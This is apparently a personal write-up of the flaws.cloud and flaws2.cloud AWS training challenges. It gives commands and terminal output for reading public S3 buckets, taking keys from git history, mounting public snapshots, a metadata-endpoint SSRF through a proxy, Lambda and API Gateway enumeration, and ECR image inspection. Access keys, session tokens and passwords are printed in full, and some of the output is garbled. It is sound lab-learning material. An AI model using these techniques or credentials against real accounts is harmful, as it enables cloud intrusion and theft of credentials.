

CLOUD

Flaws challenges

I 1. Misconfigure public bucket

```
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```

I 2. Misconfigure public bucket with ACL of was user

```
aws s3 --profile YOUR_ACCOUNT ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
```

I 3. Misconfigure public bucket with git

```
aws s3 cp s3://level3-9af3927f195e10225021a578e6f78df.flaws.cloud --no-sign-request --region us-west-1 flaws --recursive  
cd flaws  
Git log  
Git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61  
cat access_keys.txt  
aws configure --profile flaws  
aws s3 ls --profile flaws
```

```
gopikrishna@MacApple-Pro ~/Desktop/flaws $ ls  
access_keys.txt      hint1.html      hint3.html      index.html  
authenticated_users.png hint2.html      hint4.html      robots.txt  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1 cat access_keys.txt  
access_key AKIAJ366LIPB4IJKT7SA  
secret_access_key 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  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1 aws configure list --profile flaws  
Name          Value        Type    Location  
----          ----        ----    ----  
profile       flaws        manual   --profile  
access_key    ****T7SA**** shared-credentials-file  
secret_key    ****3Jys**** shared-credentials-file  
region        us-west-2    config-file  ~/.aws/config  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1 aws s3 ls --profile flaws  
2017-02-19 01:11:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud  
2017-05-29 22:04:53 config-bucket-975426262029  
2018-07-07 21:39:49 flaws-logs  
2017-02-19 01:10:54 flaws.cloud  
2017-02-24 10:45:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud  
2017-02-26 23:59:03 level3-9af3927f195e10225021a578e6f78df.flaws.cloud  
2017-02-27 00:19:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud  
2017-02-27 01:19:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud  
2017-02-27 01:18:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud  
2017-02-27 01:37:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud  
gopikrishna@MacApple-Pro ~/Desktop/flaws $ master~1
```

I 4. Misconfigure public snapshot - Grab credentials from volume and login to web server

```
aws --profile flaws sts get-caller-identity  
  
aws ec2 describe-instances --profile flaws --region us-west-2 | grep PublicDns  
  
aws ec2 describe-instances --profile flaws --region us-west-2 | grep VolumeId
```

```

gopikrishna@MacApple-Pro ~ ➔ aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSCL",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}
gopikrishna@MacApple-Pro ~ ➔ aws ec2 describe-instances --profile flaws --region us-west-2 | grep PublicDns
    "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
    "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
    "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
gopikrishna@MacApple-Pro ~ ➔ nslookup 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
Server:      192.168.1.1
Address:     192.168.1.1#53

Non-authoritative answer:
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud canonical name = ec2-35-165-182-7.us-west-2.compute.amazonaws.com.
Name:  ec2-35-165-182-7.us-west-2.compute.amazonaws.com
Address: 35.165.182.7

gopikrishna@MacApple-Pro ~ ➔

```

So the IAM user account is backup Public dns name matches for target web server and running instance

List the snapshots belong to that account in specific region

```

aws --profile flaws ec2 describe-snapshots --owner-id 975426262029 --region us-west-2

aws ec2 describe-snapshots --filters "Name=volume-id, Values=vol-04f1c039bc13ea950" --profile flaws --region us-west-2

```

```

gopikrishna@MacApple-Pro ~/Desktop ➔ aws --profile flaws ec2 describe-snapshots --owner-id 975426262029 --region us-west-2
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12.000Z",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ]
        }
    ]
}
gopikrishna@MacApple-Pro ~/Desktop ➔

```

Create a volume with snapshot and mount it to an EC2 Login to instance

```

lsblk
sudo file -s /dev/xvdf1
sudo mount /dev/xvdf1 /mnt
cd /mnt/home/ubuntu/
cat setupNginx.sh

```

```

ubuntu@ip-172-31-25-130:/$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk
`-xvda1 202:1    0   8G  0 part /
xvdf   202:80   0   8G  0 disk
`-xvdf1 202:81   0   8G  0 part
loop0    7:0    0 88.7M 1 loop /snap/core/7396
loop1    7:1    0 18M  1 loop /snap/amazon-ssm-agent/1455
ubuntu@ip-172-31-25-130:/$ 
ubuntu@ip-172-31-25-130:/$ sudo file -s /dev/xvdf1
/dev/xvdf1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (extents)
ubuntu@ip-172-31-25-130:/$ 
ubuntu@ip-172-31-25-130:/$ sudo mount /dev/xvdf1 /mnt
ubuntu@ip-172-31-25-130:/$ 
ubuntu@ip-172-31-25-130:/$ cd /mnt/home/ubuntu/
ubuntu@ip-172-31-25-130:/mnt/home/ubuntu$ ls
meta-data  setupNginx.sh
ubuntu@ip-172-31-25-130:/mnt/home/ubuntu$ cat setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpyiXgJ7nJu7rw5Ro68iE8M
ubuntu@ip-172-31-25-130:/mnt/home/ubuntu$ 
ubuntu@ip-172-31-25-130:/mnt/home/ubuntu$ 

```

Credentials
 Username - flaws
 Password - nCP8xigdjpyiXgJ7nJu7rw5Ro68iE8M

I 5. Leakage of Security credentials

The web server acts as HTTP proxy <http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/>

```

curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
gopikrishna@MacApple-Pro ~/Desktop curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
  "Code" : "Success",
  "LastUpdated" : "2019-10-20T13:07:59Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQGZMR3VDOU",
  "SecretAccessKey" : "Cri4xWtfszi2phbU8IWiedKeqQ9Fk2lw6Cr85Td",
  "Token" : "AgoJb3JpZ2luX2VjEMX//////////wEaCXVzLXd1c3QtMiJHMEUCIG09a2EWoyc97483GrLqm2Pcju0YrgvW0aLxxs7apxmJaiEA60W6biikSRV120sDJzwi0B804xuHT0903PDON2LRYJuq4w
MIvv//////////ARAAAGgw5NzU0MjYyNjIwMjkiDANLvuWsaYP3g51tsq3a8Na6ByxeUAYLvjAPbpRiqZA02TckwUzqjLkgBgv0zhNs0Opn/AcG1KI80aUPW4y0/CKCMps81E0pn2QKqdSR5n1Fc0z8KZBZ9y
urmhs81a2tdOSGuQWIVvr3QrmedzI5XqDU19Qr0w817KqRX80y6qyrTb0h6+yZq9Rumc3jX8/a5jSum+/dEXNyXMuZA7Ic3CNTyXefcboQJNtTaHD38X2yxZkQhnWMZ3WbQ6pqCFKWP1WMMfCSRovnTDC4PGXK
NiYHoi0IA16Lbhept/cVCiYcmMdeGTAH8PMXb4qqlk4vkm/fbl4CLOrJkz413MPbkOakytfYac4HZ13hX/DzTT/P9o+Fa1REldo4NpANE+wYCDqnkbYqeDY0DNuxkLoRsCxrd3r35qDXFqjNA3uaZ9mp2bamAwC
adjcBl53eygjCoy/Wmz1JC113Qw8xw7urtFS20q18Wfso5GeouEGY22e27Huia92Glwsz+FdLDHQkNKkg0dhBTw3Gf5qNBmp9L0PWrt1acXt09typcMKp210/gUncikQCDuZY/ljzFmh6opGZY0TzbQ8n
ODJqShGs0wwrinx7Q0U6tAEV3Br6Zaf08utSGaMp0cCPNaW6TMh5GSbt1c93MG9oIPUVMLcKQRDhla9WceEqn+dErMlxznNtyMvxelL0e5uoWzcgIO0sLDUtaV55j++oPf7PjetLgAf850t+fnI+03nJNAULi09u
AftG0Jcr2co81D2rRU/p8vSPCYXRvngLuoI+Is+ehF/xJp3wzdCA4XSKQ9pzEzbB+85AfDdcZUf3js8M6WbC2nF7GdurGdbszgBLYM",
  "Expiration" : "2019-10-20T19:31:29Z"
}
gopikrishna@MacApple-Pro ~/Desktop 

```

Configure a profile with the credentials and token,

```

gopikrishna@MacApple-Pro ~/Desktop aws configure --profile level15
AWS Access Key ID [*****]: ASIA6GG7PSQGSIBNZSY
AWS Secret Access Key [*****]: 6DXYMO4K7gjE5kVY2AM44RYT+Ru3mKnZNo8iHg6g
Default region name [None]:
Default output format [json]: json
gopikrishna@MacApple-Pro ~/Desktop 
gopikrishna@MacApple-Pro ~/Desktop cat ~/.aws/credentials
[flaws]
aws_access_key_id = AKIAJ366LIPB4IJKT7SA
aws_secret_access_key = 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
[level15]
aws_access_key_id = ASIA6GG7PSQGSIBNZSY
aws_secret_access_key = 6DXYMO4K7gjE5kVY2AM44RYT+Ru3mKnZNo8iHg6g
aws_session_token = AgoJb3JpZ2luX2VjEMb//////////wEaCXVzLXd1c3QtMiJHMEUCIQDjt4E7bMFUejRtoDA0h5DRU2r4AgtzRu0LIG8xCPPSAIgbKlWgb0uu/D17BvM5NaXbXCcfzwtb
/3yEq4wMIv//////////ARAAAGgw5NzU0MjYyNjIwMjkiDCRwK1uttmKKTZAeNyq3A0ibcRDymLrDgygjaVqeV0if87DHcgCyNh51SDixincINZSrE2XkREQ1mZSPYo/ZHbuMxTA3jbzj2WIxHzgS
G7ep2gwyjk9ZqvYJeBIRwJcxNdfM2v/+Zw5mkp0tVlu9yn5/gbcEt0xXGrhnofu9GBxWDJTWWuHU6dWJL164Pt0G9Wzzqm3e574YQSQ/u3GjzDUMzExUykTMVkhnG+uVgF3NMTlnrDvdcpIEKEH
WSQZ9HXpCn0NczJVvgBmlls6v1pF0cb7Mq7D63AhhBHHFvJ0qRWoPGDuwr4LRdXhswLaNi1s2zEE6carTR7JUZaXuMDj6xGhz0wQ2CbtmEv2bJ2n+qDcQhVBi37/uZa6EKvaExu4Tw4xEkjnTAnh
oipPsQu0Uls9MPzPP+rN88wWa5byJJc+sNvYAWY9Qoy/iWYSF/psdDj0NxctD8qo/YQCSEK4aeKZDeMY7XSoJROEm+L8/gq8JwMEp30Ppgzhtj3xFUc+kNmliChFFka5df60KCQo16DMmFyE
elhTKWczGK9/d2Lgw0tSx7QU6tAGYkteNWs0mmrIJNw928MaKjf1xN2LggpUy4p5qajtLL2udBN/kKff255uZgtj3uN4avWCqKT2uCV091fuRZ4X2P01Z3wShd011eR1QvS7xd4vnQy5JqPa2qS1c
gL+AvxoozWxceQmIg47iEi0KX70JV/poV04g0+eFB5iAXQuJosx2b8pYdW2u+ybZwxt4pGsIRhxVLujY5ULnrAQ/Ngb+AieejdwFSmhFTne8=
gopikrishna@MacApple-Pro ~/Desktop 

```

List the contents of level6 bucket,

```
aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile level5
gopikrishna@MacApple-Pro ~ aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile level5
PRE ddcc78ff/
2017-02-27 07:41:07 871 index.html
gopikrishna@MacApple-Pro ~
gopikrishna@MacApple-Pro ~
```

Visit the sub directory for level 6

```
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
```

I 6. Enumeration after AWS user keys

Given credentials

```
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
```

Configure it in a profile and check for user info and attached policies

```
aws --profile level6 iam get-user
aws --profile level6 iam list-attached-user-policies --user-name Level6
gopikrishna@MacApple-Pro ~ aws configure list --profile level6
  Name          Value      Type    Location
  ----          ----      ----    -----
  profile        level6    manual   --profile
access_key      ****OBGA    shared-credentials-file
secret_key      ****ps+u    shared-credentials-file
region          <not set>  None     None
gopikrishna@MacApple-Pro ~
gopikrishna@MacApple-Pro ~ aws --profile level6 iam get-user
{
  "User": {
    "Path": "/",
    "UserName": "Level6",
    "UserId": "AIDAIRMDOSCWLCDWOG6A",
    "Arn": "arn:aws:iam::975426262029:user/Level6",
    "CreateDate": "2017-02-26T23:11:16Z"
  }
}
gopikrishna@MacApple-Pro ~ aws --profile level6 iam list-attached-user-policies --user-name Level6
{
  "AttachedPolicies": [
    {
      "PolicyName": "list_apigateways",
      "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
    },
    {
      "PolicyName": "MySecurityAudit",
      "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
    }
  ]
}
gopikrishna@MacApple-Pro ~
```

After knowing the attached policy, can we find version and what the actual policy is,

```
aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
```

```

gopikrishna@MacApple-Pro ~▶ aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
  "Policy": {
    "PolicyName": "list_apigateways",
    "PolicyId": "ANPAIRLWTQMGKSPGTAIO",
    "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
    "Path": "/",
    "DefaultVersionId": "v4",
    "AttachmentCount": 1,
    "PermissionsBoundaryUsageCount": 0,
    "IsAttachable": true,
    "Description": "List apigateways",
    "CreateDate": "2017-02-20T01:45:17Z",
    "UpdateDate": "2017-02-20T01:48:17Z"
  }
}
gopikrishna@MacApple-Pro ~▶ gopikrishna@MacApple-Pro ~▶ aws --profile level6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
  "PolicyVersion": {
    "Document": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Action": [
            "apigateway:GET"
          ],
          "Effect": "Allow",
          "Resource": "arn:aws:apigateway:us-west-2:::restapis/*"
        }
      ],
      "VersionId": "v4",
      "IsDefaultVersion": true,
      "CreateDate": "2017-02-20T01:48:17Z"
    }
  }
}
gopikrishna@MacApple-Pro ~▶

```

Now its clear that, we can call an API Gateway using GET method Usually API Gateways are used in conjunction with lambda function, so check for any lambda running in account

```
aws --region us-west-2 --profile level6 lambda list-functions
```

there is a lambda function named "Level6", Look into lambda policy,

```
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
```

```

gopikrishna@MacApple-Pro ~▶ aws --region us-west-2 --profile level6 lambda list-functions
{
  "Functions": [
    {
      "FunctionName": "Level6",
      "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
      "Runtime": "python2.7",
      "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
      "Handler": "lambda_function.lambda_handler",
      "CodeSize": 282,
      "Description": "A starter AWS Lambda function.",
      "Timeout": 3,
      "MemorySize": 128,
      "LastModified": "2017-02-27T00:24:36.054+0000",
      "CodeSha256": "2iEjBytFbH91PXEM05R/B9Dq0gZ70G/lqoBNZh5JyFw=",
      "Version": "$LATEST",
      "TracingConfig": {
        "Mode": "PassThrough"
      },
      "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
    }
  ]
}
gopikrishna@MacApple-Pro ~▶ aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
{
  "Policy": "{\"Version\":\"2012-10-17\", \"Id\":\"default\", \"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\", \"Effect\":\"Allow\", \"Principal\":\"apigateway.amazonaws.com\"}, {\"Action\":\"lambda:InvokeFunction\", \"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\", \"Condition\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}]}",
  "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}
gopikrishna@MacApple-Pro ~▶

```

We can execute `arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6` That "s33ppypa75" is a rest-api-id

Then find stage name, `aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"`

```
gopikrishna@MacApple-Pro ~ ➔ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": 1488155168,
            "lastUpdatedDate": 1488155168
        }
    ]
}
gopikrishna@MacApple-Pro ~ ➔
```

the stage name is "Prod". Lambda functions are called using that rest-api-id, region, stage name and resource (function name)

So the url is, <https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6>

← → ⌂ s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

"Go to <http://theend-797237e8ada164bf9f12ceb93b282cf.flaws.cloud/d730aa2b/>"

Flaws2 challenges

Attacker

I 1. Misconfigured S3 endpoint

The screenshot shows a browser window with the URL `level1.flaws2.cloud/index.htm?incorrect`. The page title is "Summit Route". The main content area displays "Level 1" and a message: "For this level, you'll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won't help." Below this is a red-bordered box containing the text "Incorrect. Try again.". A text input field contains the value "1234" and a "Submit" button is below it. To the right, the browser's developer tools Network tab is open, showing a list of resources. The "Timing" section for the request to "level1?code=1234" shows a duration of 301 ms. The "Response" section shows the status as 301 (from disk cache), remote address as 3.210.102.76:443, and referer policy as no-referrer-when-downgrade. The response headers include content-length: 0, content-type: application/json, date: Sat, 02 Nov 2019 12:19:10 GMT, location: http://level1.flaws2.cloud/index.htm?incorrect, status: 301, x-amz-apigw-id: Ch8ZuH1YIAMFF0g=, x-amzn-requestid: fb327c01-f2f9-4b6c-a054-0df8a5eb4927, and x-amzn-trace-id: Root=1-5dbd743e-6c94bfab8ba38667051c5e560;Sampled=0.

Note the request url and paste it in browser and change code value to see any errors

```
← → C 2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=a

Error, malformed input
{"PATH":"/var/lang/bin:/usr/local/bin:/usr/bin:/bin:/opt/bin","LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt 8","T2":"UTC","LAMBDA_ROOT_DIR":"/var/task","LAMBDA_RUNTIME_DIR":"/var/runtime","AWS_REGION":"us-east-1","AWS_DEFAULT_REGION":"us-east-1","AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/level1","AWS_LAMBDA_LOG_STREAM_NAME":"2019/11/02[$LATEST]5b98549f63a4ea8aa528e3393e8fdc3","AWS_LAMBDA_FUNCTION_NAME":"level1",AWS_LAMBDA_FUNCTION_VERSION":"$LATEST","_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.2","_AWS_XRAY_DAEMON_PORT":2000,"_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2:2000","_AWS_XRAY_DAEMON_PORT":2000,"AWS_XRAY_CONTEXTUAL_ID": "Root=1-5dbd7488-5b02fd1caf78ad2cc7ede84;Parent=014ca016435bef7;Sampled=0","AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10","_HANDLER": "index.handler","NODE_PATH": "/opt/nodejs/node8/node_modules/node_modules@v1.0.0/node_modules","_AWS_ACCESS_KEY_ID": "ASIAZQNBK3HGEGBLSJ5","_AWS_SECRET_ACCESS_KEY": "1kLTYT6jGKOMY2CV3jxxVt8xVpVqzYnuduWvK16 //////////////////waCaXvZLwHbz3QtMSJIMEYC1QCgOPcPDLTRN1xs9p+4xVxBeQwP8F2cgWeTx1Alp67h7NQJL3Ugfh13GeiFdywSwqeawXILWf15zD2zQksUBCBQARmnjU2zNeZxmZnq41gnLW6QHVaXUTLcn5Sn1CSX53XA61sgjDQZ6cYYdPHSvvHalH03pQAJYR7Bc51h0Nfrz0tGJMjN0OK0IYff7zfzYF124mpQjCauEXx0JHKP8msUsedC0qghjccyCLB286LLGdRymT8HafhSiP0t4GyrzUoQ4GAY2Nv+1BuTBVNcc0pxAezxz6BBG2Qly2kDoLiR0f7UpKwCvZb5lJa9Gld1u0YKnfqvbaG30JGQXWd85/MJLNF5Xv0rAc5uFxY1zJcq9mcms+O3Xh4N2YXQ5D7swdYzVX9r+qgB8w1ISKG3hiiQXIEbTyEcXmXj3+kZBFIS43BitX7CNO+MTFeUGCldzPAF7+CKrTUCSt7UpKwCvZb5lJa9Gld1u0YKnfqvbaG30JGQXWd85/MJLNF5Xv0rAc5uFxY1zJcq9mcms+O3Xh4N2YXQ5D7swdYzVX9r+qgB8w1ISKG3hiiQXIEbTyEcXmXj3+kZBFIS43BitX7CNO+MTFeUGCldzPAF7+CK
```

Configure aws cli profile with the keys and session token

```
gopikrishna@MacApple-Pro ~/.aws aws configure --profile level1.flaws2
AWS Access Key ID [None]: ASIAZQNB3KHGEBLB5JJ5
AWS Secret Access Key [None]: 1kLTYT6JKOMy2CV3jxxVt8XvPVzQyNudu0wYK16
Default region name [None]:
Default output format [None]: json
gopikrishna@MacApple-Pro ~/.aws cat ~/.aws/credentials
[flaws]
aws_access_key_id = AKIAJ366LIPB4IJKT7SA
aws_secret_access_key = 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
[level15]
aws_access_key_id = ASIA6GG7PSQGSIBNZSZY
aws_secret_access_key = 6DXYM04K7gjE5kvY2AM44RYT+Ru3mKnZNo8iHg6g
aws_session_token = AgoJb3JpZ2luX2vjEMb//////////wEaCXVzLXd1c3QtMiJHMEUCIQDjt4E7bMHFUejRtoDa0h5DRU2r4AgtzRu0LIG8xCPSSAIgbk1Wgb0uu/D17BvM5NaXbXCcfzwtb2nGCT
9EZB/3yEq4wMIv//////////ARAAgwg5NzU0MjYnj1wMjkiDCRwKIuttmKKTZAeNyq3A0ibcRDymLrDgygjaVqeV0if87DHcgCyNh51SDixincINZrE2XkREQ1mZSPY0/o/ZHbuMxTA3jbzj2WIxHzgS
M9AQId+r9KG7ep2gwyjk9ZqvYJeBIRwJcxNdAFm2V/+Zw5mkKp0tVlU9yn5/gbcEt0xGrhnofu9GbxDJTWWuhU6dWJL164Pt0G9Wzzqm3e574YQSQ/u3GjzDUMzExUykTMVhNnG+uVgF3NMTlnrDvdcp
iEkHQki0rWAz0JWSQZ9HXpCn0NczJvgvBmls6v1pPF0cb7Mq7D63ahhBHFhVJ0qRw0PGDwr4LRdxhsWLaNi1s2zEE6carTR7JUzaxMDj6xGhz0wQ2cbtmEv2bJ2n+qDcQhVB137/uZa6EKvaExu4TW
4xEkjnTAhAnNr5E4icsloipPsGuQU0U1s9MPzpPP+rN88wWa5byJJc+snYAWY9Qoy/iWYSf/psdDjONxcdT8qo/YQCSEK4aeKZDeMY7XSoJRQE+L8/gq8JwMEp30PpgzhTj3xFUc+kNmIiChFFka5dF
60KCQoi6D0mfyENtSI9R+dCnelhTKWczGK9/dLgw0tSx70U6TAGYkteNs0mmrIJNw928MaKjf1xN2LggpUy4p5qAjtLL2UbDN/kFF255uZgTj3uN4avWCqKT2uCV09IfuRZ4X2P01Z3wShd011eR1Q
vS7xd4vnQy5JqPa2qSiClfGPvy3ixSgl+AvxoozWxeQmIg47iEiOKX70JV/ovPO4g0+eFB5IiAXQuUosx2b8pYdW2u+ybZwxt4pGsIRhxVLUjY5ULnrAQ/Ngb+AieejdwFSmhFTne8=
[level16]
aws_access_key_id = AKIAJFQ6E7BY57Q3OBGA
aws_secret_access_key = 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
[level1.flaws2]
aws_access_key_id = ASIAZQNB3KHGEBLB5JJ5
aws_secret_access_key = 1kLTYT6JKOMy2CV3jxxVt8XvPVzQyNudu0wYK16
gopikrishna@MacApple-Pro ~/.aws nano credentials
gopikrishna@MacApple-Pro ~/.aws
```

```
aws s3 ls s3://level1.flaws2.cloud --profile level1.flaws2
```

```
gopikrishna@MacApple-Pro ~/.aws aws s3 ls s3://level1.flaws2.cloud --profile level1.flaws2
PRE img/
2018-11-21 02:25:05      17102 favicon.ico
2018-11-21 07:30:22      1905 hint1.htm
2018-11-21 07:30:22      2226 hint2.htm
2018-11-21 07:30:22      2536 hint3.htm
2018-11-21 07:30:23      2460 hint4.htm
2018-11-21 07:30:17      3000 index.htm
2018-11-21 07:30:17      1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
gopikrishna@MacApple-Pro ~/.aws
```

Check that file in browser

```
http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html
```

It will give access to next challenge

```
http://level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
```

I 2. Misconfigured ECR [Elastic Container registry]

```
http://container.target.flaws2.cloud/
```

As we know it is a container challenge, lets list the publicly available containers of that AWS Account

Get account id and use all region to find out any available containers

```
aws sts get-caller-identity --profile level1.flaws2
aws ecr list-images --repository-name level2 --registry-id 653711331788 --region us-east-1 --profile level1.flaws2
```

Or

```
aws sts get-caller-identity --profile level1.flaws2
while read LINE; do aws ecr list-images --repository-name level2 --registry-id 653711331788 --profile level1.flaws2 --region "$LINE" ; done < /Users/gopikrishna/Desktop/regions.txt
```



```

gopikrishna@MacApple-Pro ~/Desktop docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
opensecurity/mobile-security-framework-mobsf latest f58a73dac174 5 months ago 2.34GB
docker_packaging_igoat_server latest 02f3d5a6b9b6 6 months ago 1.22GB
ruby 2.3 c0d23eb3ed6 7 months ago 946MB
653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 latest 2d73de35b781 11 months ago 202MB

gopikrishna@MacApple-Pro ~/Desktop docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2
IMAGE CREATED CREATED BY SIZE COMMENT
2d73de35b781 11 months ago /bin/sh -c #(nop) CMD ["sh" "/var/www/html/... 0B
<missing> 11 months ago /bin/sh -c #(nop) EXPOSE 80 0B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:d29d68489f34ad718... 49B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:f8fd45be7a30bffa5... 614B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:fd3724e587d17e4bc... 1.89kB
<missing> 11 months ago /bin/sh -c #(nop) ADD file:b311a5fa51887368e... 999B
<missing> 11 months ago /bin/sh -c htpasswd -b -c /etc/nginx/.htpass... 45B
<missing> 11 months ago /bin/sh -c apt-get update && apt-get ins... 85.5MB
<missing> 11 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:/run/systemd && echo 'do... 7B
<missing> 11 months ago /bin/sh -c rm -rf /var/lib/apt/lists/* 0B
<missing> 11 months ago /bin/sh -c set -xe && echo '#!/bin/sh' > /... 745B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:efec03b785a78c01a... 116MB

gopikrishna@MacApple-Pro ~/Desktop docker history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 --no-trunc | grep "/bin/sh -c htpasswd -b -c"
<missing> 11 months ago /bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

```

Or

Export docker image to vm and inspect layers using dive

```

docker save 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest > img.tar
docker load -i img.tar

```

```

-q, --quiet      Suppress the load output
student@box:~/Desktop$ docker load -i img.tar
41c002c8a6fd: Loading layer [=====] 120.4MB/120.4MB
647265b9d8bc: Loading layer [=====] 15.87kB/15.87kB
819a824caf70: Loading layer [=====] 14.85kB/14.85kB
3db5746c911a: Loading layer [=====] 3.072kB/3.072kB
1c1ac3ae43d5: Loading layer [=====] 87.35MB/87.35MB
bc16ef0350ee: Loading layer [=====] 3.584kB/3.584kB
5db51ba604f0: Loading layer [=====] 4.096kB/4.096kB
4e7b9bca030a: Loading layer [=====] 5.12kB/5.12kB
5494da4989bb: Loading layer [=====] 4.096kB/4.096kB
67df634e1db1: Loading layer [=====] 3.584kB/3.584kB
Loaded image: 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
student@box:~/Desktop$
student@box:~/Desktop$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
<none> <none> 9d3bbd04576 11 minutes ago 208MB
r.j3ss.co/amicontained latest 89b2c285f464 3 months ago 8.18MB
jess/htop latest 9b892a2322bb 3 months ago 8.39MB
gcr.io/ubercool/cs-backend-source-code latest 9946c6242d35 3 months ago 21.2MB
nginx alpine 55ceb2abad47 3 months ago 21.1MB
nginx latest e445ab08b2be 3 months ago 126MB
ubuntu latest 3556258649b2 3 months ago 64.2MB
alpine latest b7b28af77ffe 3 months ago 5.58MB
portainer/portainer latest da2759008147 5 months ago 75.4MB
653711331788.dkr.ecr.us-east-1.amazonaws.com/level2 latest 2d73de35b781 11 months ago 202MB
appsecco/dsvw latest ccc88f3dc27d 2 years ago 48.2MB
student@box:~/Desktop$ 

```

```
Dive 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2
```

student@box: ~/Desktop 178x40

[Layers]			[Aggregated Layer Contents]			
Cmp	Size	Command	Permission	UID:GID	Size	Filetree
